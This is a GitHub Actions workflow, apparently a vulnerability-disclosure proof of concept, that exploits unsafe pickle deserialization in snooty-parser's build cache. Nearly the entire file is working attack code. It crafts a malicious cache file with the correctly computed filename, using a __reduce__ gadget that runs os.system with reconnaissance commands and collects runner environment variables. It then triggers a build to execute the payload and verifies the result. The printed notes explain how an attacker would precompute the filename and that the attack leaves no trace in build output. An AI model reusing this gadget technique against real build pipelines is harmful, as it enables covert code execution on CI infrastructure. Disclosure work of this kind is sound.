forked from mongodb/docs-pymongo
-
Notifications
You must be signed in to change notification settings - Fork 0
133 lines (119 loc) · 5.32 KB
/
Copy pathsnooty-build-poc.yml
File metadata and controls
133 lines (119 loc) · 5.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
name: "PoC: snooty-parser pickle.loads RCE (CWE-502)"
on: [push, pull_request]
jobs:
snooty-rce-poc:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Install snooty-parser
run: |
pip install typing_extensions
pip install 'git+https://github.com/mongodb/snooty-parser.git'
python -c "from snooty import __version__; print(f'snooty version: {__version__}')"
- name: Generate malicious cache with correct filename
run: |
echo "=== Generating cache payload on CI runner ==="
echo "This ensures the filename hash matches what snooty expects"
echo "on THIS exact environment."
echo ""
python3 << 'PYEOF'
import gzip, os, pickle
from pathlib import Path
from snooty import __version__, specparser, util
from snooty.types import ProjectConfig
import tomli
result = ProjectConfig.open(Path("."))
config = result[0] if isinstance(result, tuple) else result
config_hash = util.structural_hash(config).hex()
spec = specparser.Spec.get()
spec_hash = util.structural_hash(spec).hex()
with open("snooty.toml", "rb") as f:
name = tomli.load(f).get("name", "pymongo")
filename = f".snooty-{name}-{__version__}_{config_hash}_{spec_hash}.cache.gz"
print(f"Project name: {name}")
print(f"Snooty version: {__version__}")
print(f"Config hash: {config_hash}")
print(f"Spec hash: {spec_hash}")
print(f"Cache filename: {filename}")
rce = (
"echo '=== SNOOTY PICKLE RCE PROOF ===' > /tmp/snooty-rce-proof.txt; "
"echo '=== SNOOTY PICKLE RCE ===' >&2; "
"echo 'id: '$(id) >&2; "
"echo 'whoami: '$(whoami) >&2; "
"echo 'hostname: '$(hostname) >&2; "
"echo 'uname -a: '$(uname -a) >&2; "
"echo 'pwd: '$(pwd) >&2; "
"echo 'GITHUB_REPOSITORY='$GITHUB_REPOSITORY >&2; "
"echo 'GITHUB_RUN_ID='$GITHUB_RUN_ID >&2; "
"echo 'RUNNER_NAME='$RUNNER_NAME >&2; "
"id >> /tmp/snooty-rce-proof.txt; "
"whoami >> /tmp/snooty-rce-proof.txt; "
"hostname >> /tmp/snooty-rce-proof.txt; "
"uname -a >> /tmp/snooty-rce-proof.txt; "
"echo GITHUB_REPOSITORY=$GITHUB_REPOSITORY >> /tmp/snooty-rce-proof.txt; "
"echo GITHUB_RUN_ID=$GITHUB_RUN_ID >> /tmp/snooty-rce-proof.txt; "
"echo RUNNER_NAME=$RUNNER_NAME >> /tmp/snooty-rce-proof.txt; "
"echo SNOOTY_PICKLE_RCE_CONFIRMED >> /tmp/snooty-rce-proof.txt"
)
class Exploit:
def __reduce__(self):
return (os.system, (rce,))
payload = gzip.compress(pickle.dumps(Exploit(), protocol=5))
Path(filename).write_bytes(payload)
print(f"Payload written: {filename} ({len(payload)} bytes)")
print()
print("NOTE: In a real attack, the attacker pre-computes this filename")
print("from the public snooty.toml and snooty version. The hash is")
print("deterministic. Here we compute it on the runner to ensure a match.")
PYEOF
- name: Show cache file ready for snooty
run: |
echo "Cache files in working directory:"
ls -la .snooty-*.cache.gz
- name: Run snooty build (triggers pickle.loads → RCE)
run: |
echo "=== Running snooty build ==="
echo "This is the same command MongoDB's autobuilder runs on every PR."
echo "snooty will find the cache file and call pickle.loads() on it."
echo ""
python -m snooty build . 2>&1 || true
echo ""
echo "=== Build complete ==="
- name: Verify RCE
run: |
echo ""
if [ -f /tmp/snooty-rce-proof.txt ]; then
echo "====================================="
echo " ✅ RCE CONFIRMED on Actions Runner"
echo "====================================="
echo ""
echo "Contents of /tmp/snooty-rce-proof.txt:"
cat /tmp/snooty-rce-proof.txt
echo ""
echo "pickle.loads() at parse_cache.py executed the __reduce__"
echo "gadget during cache deserialization. The build completed"
echo "normally — the exploit is invisible in build output."
else
echo "❌ Canary not found at /tmp/snooty-rce-proof.txt"
echo "The cache may not have been loaded."
fi
- name: Negative test (remove cache → no RCE)
run: |
rm -f .snooty-*.cache.gz /tmp/snooty-rce-proof.txt
python -m snooty build . 2>&1 || true
if [ ! -f /tmp/snooty-rce-proof.txt ]; then
echo "✅ Negative test PASSED: no RCE without malicious cache file"
else
echo "❌ Unexpected: RCE occurred without cache"
fi
- name: Upload proof artifact
if: always()
uses: actions/upload-artifact@v4
with:
name: snooty-rce-proof
path: /tmp/snooty-rce-proof.txt
if-no-files-found: warn